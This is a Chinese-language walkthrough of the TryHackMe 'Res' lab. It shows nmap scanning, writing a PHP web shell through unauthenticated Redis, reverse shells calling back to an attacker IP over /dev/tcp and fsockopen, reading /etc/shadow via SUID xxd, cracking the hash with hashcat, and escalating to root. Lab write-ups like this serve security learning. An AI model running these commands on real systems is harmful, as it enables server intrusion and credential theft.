【THM】Res练习
与本文相关的TryHackMe实验房间链接：TryHackMe | Res
简介：在这个半引导式挑战中，使用内存中的数据结构入侵易受攻击的数据库服务器!
你准备好接受挑战了吗?
第一题：扫描机器，有多少端口是开放的?
第一步
端口扫描
首先使用nmap对端口进行扫描
nmap -sV -sC -p- 10.10.183.82
-sV 启用服务版本检测，获取开放端口上运行服务的版本信息。
-sC 启用默认脚本扫描，运行一组预定义的脚本进行更深入的检测。
-p- 扫描所有端口
建议使用另一个命令，扫描全端口跑了天久
nmap -sV -sC -p1-10000 10.10.183.82
-p1-10000 扫描1-10000端口
可以发现目标开放了2个端口：80/tcp http服务、6379/tcp redis数据库服务
第二题：服务器上安装的数据库管理系统是什么?
由端口扫描可知使用了redis数据库管理系统
第三题：数据库管理系统在哪个端口上运行？
由端口扫描可知redis数据库管理系统在6379端口上运行
第四题：服务器上安装的管理系统版本是什么？
由端口扫描可知redis数据库管理系统版本为6.0.7
第五题：破坏机器并找到user.txt
第一步
访问网站
访问10.110.183.82观察web应用
发现只有一个默认的Apache HTTP server登录页面，没有找到可以利用的地方
第二步
分析Redis相关漏洞
首先学习Redis是什么
【趣话Redis第一弹】我是Redis，MySQL大哥被我坑惨了！
在HackTricks | HackTricks的redis渗透模块中学到了可以上传shell
首先我们先尝试无密码连接上redis服务：
redis-cli -h 10.10.183.82
redis-cli Redis 命令行界面工具
-h 指定要连接的 Redis 服务器的主机名或 IP 地址
成功连接：
第三步
准备shell页面
使用以下命令设置Redis数据库的持久化目录：
config set dir /var/www/html
config 用于操作 Redis 配置的命令
set 设置一个指定的配置项
dir 要设置的配置项，这里表示 Redis 数据库的持久化目录
使用以下命令设置持久化数据库的文件名
config set dbfilename redis.php
dbfilename 要设置的配置项，表示 Redis 持久化数据的文件名
接下来我们可以上传的可就多了，我们可以弄一个shell
set test "<?php system($_GET['shell']); ?>"
test 要设置的键名
上传后可以用蚁剑连接或者传输以下参数得到shell
cmd=php -r '$sock=fsockopen("10.10.146.90","6666");exec("/bin/bash -i 0>&3 2>&3 1>&3");'
但我的攻击机没有所以直接用的反弹shell，反弹shell如下：
set test "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/10.10.146.90/6666 0>&1'\"); ?>"
首先监听我设置的6666端口，设置键名后访问redis.php成功得到shell：
使用以下命令使得反弹shell稳定化：
python -c "import pty; pty.spawn('/bin/bash')"
第四步
寻找user.txt
我们可以在vianka的用户目录中找到user.txt
第六题：本地用户的密码是什么？
第一步
查看/etc/shadow文件
使用以下命令：
cat /etc/shadow
莫得权限，我们看看我们有什么权限：
find / -type f -perm -04000 -ls 2>/dev/null
xxd 是一个用于在 Unix/Linux 系统中处理二进制文件的命令行工具。它可以将文件的内容以十六进制和 ASCII 格式进行查看和转换。
我们可以使用xxd命令来查看文件内容：
xxd /etc/shadow | xxd -r
-r 将输入的十六进制数据转换回二进制格式
我们将输出的shadow十六进制模式转换成了原始的二进制内容：
得到了：
$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0
第二步
hash解密
先去example_hashes hashcat wiki]查询hash加密的类型：
我们使用hashcat进行破解（这里用了攻击机默认的字典）：
hashcat -a 0 -m 1800 '$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0' /usr/share/wordlists/rockyou.txt
我们得到密码为beautiful1
第七题：提升权限并获取root.txt
第一步
登录本地用户
我们有了vianka的密码，那么我们就可以使用本地用户登录了（没有开放ssh服务所以不能用ssh连接）：
su vianka
为了能够访问root目录，我们提升权限：
sudo -i
成功了，得到root.txt：
